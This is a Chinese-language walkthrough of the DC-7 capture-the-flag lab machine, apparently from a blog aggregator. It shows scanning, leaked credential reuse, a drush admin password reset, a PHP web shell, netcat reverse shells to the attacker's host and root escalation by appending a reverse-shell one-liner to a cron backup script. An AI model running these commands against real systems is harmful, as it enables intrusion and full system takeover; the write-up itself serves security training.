当前位置:网站首页>DC-7靶机
DC-7靶机
2022-07-07 00:52:00 【m0_62094846】
ifconfig
查找主机IP
扫一波内网,探测下存活主机
nmap 192.168.61.0/24
使用nmap工具对DC-5靶机扫描开放的端口
nmap -A -T4 192.168.61.136 -p- -oN nmap136.A

nmap -A -T4 192.168.61.136 -p- -oN nmap136.A
有22和80端口

下面有提示DC7USER
百度一下
可以下载一个文件


这里也说明是重要点
下载到kali本地
git clone https://github.com/Dc7User/staffdb
cd staffdb
ls
cat config.php

使用SSH链接靶机,登录dc7user发现可以成功连接

ls
查到 backups mbox
backups下:website.sql.gpg website.tar.gz.gpg
发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码
mbox是个文件
发现备份执行的源码在/opt/scripts目录下

进入/opt/scripts目录下
cd /opt/scripts
查看文件
cat backups.sh

发现两个命令 gpg drush
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
进入到/var/www/html目录下,因为网站会有一个admin用户,所以使用drush命令修改admin用户的密码为123456,发现可以修改成功
cd /var/www/html/
drush user-password admin --password="123456"
![]()
admin的密码改成了123456
用dirb命令扫出页面
dirb http://192.168.61.136

在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但是发现不支持PHP
百度后知道,php要单独作为一个模块导入



PHP的模块下载地址:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz


勾选,然后点最下面的install

然后就可以了
回到当时的页面,就可以使用PHP了


用蚁剑就可以连接成功了

然后用kali监听
nc -lvvp 4444
nc -e /bin/bash 192.168.61.129 4444

python -c 'import pty;pty.spawn("/bin/bash")'
连接成功

find / -name backups.sh 2>/dev/null
然后
cd /opt/scripts
ls -l
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.61.129 7777 >/tmp/f" >> backups.sh
nc -lvvp 7777

得到了root权限
cd /root
ls
cat theflag.txt

边栏推荐
- Three level menu data implementation, nested three-level menu data
- 10W word segmentation searches per second, the product manager raised another demand!!! (Collection)
- 2pc of distributed transaction solution
- Ten stages of becoming a Senior IC Design Engineer. What stage are you in now?
- ML之shap:基于adult人口普查收入二分类预测数据集(预测年收入是否超过50k)利用shap决策图结合LightGBM模型实现异常值检测案例之详细攻略
- 毕业之后才知道的——知网查重原理以及降重举例
- Mysql-centos7 install MySQL through yum
- STM32按键状态机2——状态简化与增加长按功能
- 一个简单的代数问题的求解
- Input of native applet switches between text and password types
猜你喜欢

Reading notes of Clickhouse principle analysis and Application Practice (6)

每秒10W次分词搜索,产品经理又提了一个需求!!!(收藏)

SAP Spartacus checkout 流程的扩展(extend)实现介绍

Understand the deserialization principle of fastjson for generics

cf:C. Column Swapping【排序 + 模擬】

苹果cms V10模板/MXone Pro自适应影视电影网站模板

Introduction to yarn (one article is enough)

Digital IC interview summary (interview experience sharing of large manufacturers)

话说SQLyog欺骗了我!

Modes of optical fiber - single mode and multimode
随机推荐
Message queuing: how to ensure that messages are not lost
POI excel export, one of my template methods
Go language context explanation
On the difference between FPGA and ASIC
How much do you know about clothing ERP?
Nodejs get client IP
C note 13
CMD permanently delete specified folders and files
Say sqlyog deceived me!
盘点国内有哪些EDA公司?
从“跑分神器”到数据平台,鲁大师开启演进之路
Three level menu data implementation, nested three-level menu data
话说SQLyog欺骗了我!
PTA TIANTI game exercise set l2-003 moon cake test point 2, test point 3 Analysis
The boss always asks me about my progress. Don't you trust me? (what do you think)
Flask1.1.4 Werkzeug1.0.1 源碼分析:啟動流程
Introduction to yarn (one article is enough)
Go语学习笔记 - gorm使用 - gorm处理错误 | Web框架Gin(十)
PTA 天梯赛练习题集 L2-002 链表去重
Hcip eighth operation